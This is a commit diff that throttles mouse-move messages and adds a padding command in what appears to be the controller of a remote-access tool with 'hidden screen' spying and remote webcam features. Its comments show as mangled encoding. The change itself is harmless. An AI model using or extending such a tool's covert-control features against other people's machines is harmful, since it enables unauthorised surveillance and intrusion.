Improvement: Reduce transmit mouse move message
This commit is contained in:
@@ -248,6 +248,7 @@ enum
|
||||
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
|
||||
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
CMD_PADDING =217,
|
||||
CMD_AUTHORIZATION = 222, // <20><>Ȩ
|
||||
CMD_SERVER_ADDR = 229, // <20><><EFBFBD>ص<EFBFBD>ַ
|
||||
TOKEN_ERROR = 230, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||
|
||||
@@ -1987,6 +1987,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case CMD_PADDING: {
|
||||
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||
}
|
||||
|
||||
@@ -759,6 +759,19 @@ void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP) {
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
if (pMsg->message == WM_MOUSEMOVE) {
|
||||
auto now = clock();
|
||||
auto time_elapsed = now - m_lastMouseMove;
|
||||
int dx = abs(pMsg->pt.x - m_lastMousePoint.x);
|
||||
int dy = abs(pMsg->pt.y - m_lastMousePoint.y);
|
||||
int dist_sq = dx * dx + dy * dy;
|
||||
if (time_elapsed < 200 && dist_sq < 18 * 18) {
|
||||
return;
|
||||
}
|
||||
m_lastMouseMove = now;
|
||||
m_lastMousePoint = pMsg->pt;
|
||||
}
|
||||
|
||||
MYMSG msg(*pMsg);
|
||||
auto low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom;
|
||||
auto high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom;
|
||||
|
||||
@@ -81,6 +81,9 @@ protected:
|
||||
BYTE m_bCursorIndex;
|
||||
CString m_strTip;
|
||||
|
||||
clock_t m_lastMouseMove; // <20><><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
POINT m_lastMousePoint;// <20>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
private:
|
||||
CString m_aviFile;
|
||||
CBmpToAvi m_aviStream;
|
||||
|
||||
@@ -34,6 +34,8 @@ extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str,
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
|
||||
{
|
||||
m_lastMouseMove = 0;
|
||||
m_lastMousePoint = {};
|
||||
m_pCodec = nullptr;
|
||||
m_pCodecContext = nullptr;
|
||||
memset(&m_AVPacket, 0, sizeof(AVPacket));
|
||||
@@ -556,6 +558,19 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
if (Msg->message == WM_MOUSEMOVE) {
|
||||
auto now = clock();
|
||||
auto time_elapsed = now - m_lastMouseMove;
|
||||
int dx = abs(Msg->pt.x - m_lastMousePoint.x);
|
||||
int dy = abs(Msg->pt.y - m_lastMousePoint.y);
|
||||
int dist_sq = dx * dx + dy * dy;
|
||||
if (time_elapsed < 200 && dist_sq < 18 * 18) {
|
||||
return;
|
||||
}
|
||||
m_lastMouseMove = now;
|
||||
m_lastMousePoint = Msg->pt;
|
||||
}
|
||||
|
||||
const int length = sizeof(MSG64) + 1;
|
||||
BYTE szData[length + 3];
|
||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||
|
||||
@@ -89,6 +89,9 @@ public:
|
||||
AVPacket m_AVPacket;
|
||||
AVFrame m_AVFrame;
|
||||
|
||||
clock_t m_lastMouseMove; // <20><><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
POINT m_lastMousePoint;// <20>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
bool Decode(LPBYTE Buffer, int size);
|
||||
void EnterFullScreen();
|
||||
bool LeaveFullScreen();
|
||||
|
||||
Reference in New Issue
Block a user